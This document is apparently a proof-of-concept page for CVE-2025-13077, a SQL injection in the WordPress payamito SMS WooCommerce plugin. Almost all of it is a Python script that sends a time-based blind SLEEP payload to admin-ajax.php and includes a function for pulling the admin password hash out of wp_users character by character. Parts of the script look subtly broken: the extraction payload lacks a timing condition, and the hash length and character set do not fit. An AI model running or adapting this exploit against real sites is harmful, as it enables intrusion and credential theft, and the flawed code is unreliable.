CVE-2025-13077 WordPress payamito SMS WooCommerce插件SQL注入漏洞

import requests import time # CVE-2025-13077 PoC - Time-based Blind SQL Injection # Target: WordPress payamito SMS WooCommerce plugin < =1.3.5 # Parameter: columns def test_sqli(url, column_value): """Test SQL injection with time-based blind technique""" headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)', 'Content-Type': 'application/x-www-form-urlencoded' } # Time-based blind SQL injection payload # This payload uses SLEEP() function to create time delays payload = f'{column_value}),(SELECT(SLEEP(5)))--' params = { 'columns': payload, 'action': 'payamito_get_columns', 'nonce': 'attacker_controlled_or_missing' } start_time = time.time() try: response = requests.get(url, params=params, headers=headers, timeout=30) elapsed = time.time() - start_time # If response takes >5 seconds, SQL injection is confirmed if elapsed >= 5: return True, elapsed except requests.exceptions.RequestException: pass return False, 0 def extract_admin_password(url): """Extract admin password hash using blind SQL injection""" # Character-by-character extraction of wp_users user_pass field charset = '0123456789abcdefghijklmnopqrstuvwxyz' result = '' for pos in range(1, 65): # MD5 hash is 32 chars for char in charset: # Subquery to extract character at position payload = f'1 AND (SELECT SUBSTRING(user_pass,{pos},1) FROM wp_users WHERE ID=1)="{char}"' # Adjust SLEEP time based on character match sleep_time = 2 if test_sqli(url, payload)[0] else 0 if sleep_time >= 2: result += char print(f"[*] Extracted char {pos}: {char} | Hash: {result}") break return result # Example usage target_url = "http://target-site.com/wp-admin/admin-ajax.php" print("[*] Testing CVE-2025-13077 SQL Injection...") print(f"[*] Target: {target_url}") # Basic test is_vulnerable, elapsed = test_sqli(target_url, 'id') if is_vulnerable: print(f"[!] Vulnerability confirmed! Response time: {elapsed:.2f}s") print("[*] Proceeding with data extraction...") # admin_hash = extract_admin_password(target_url) # print(f"[*] Admin password hash: {admin_hash}") else: print("[-] Target may not be vulnerable or is not reachable")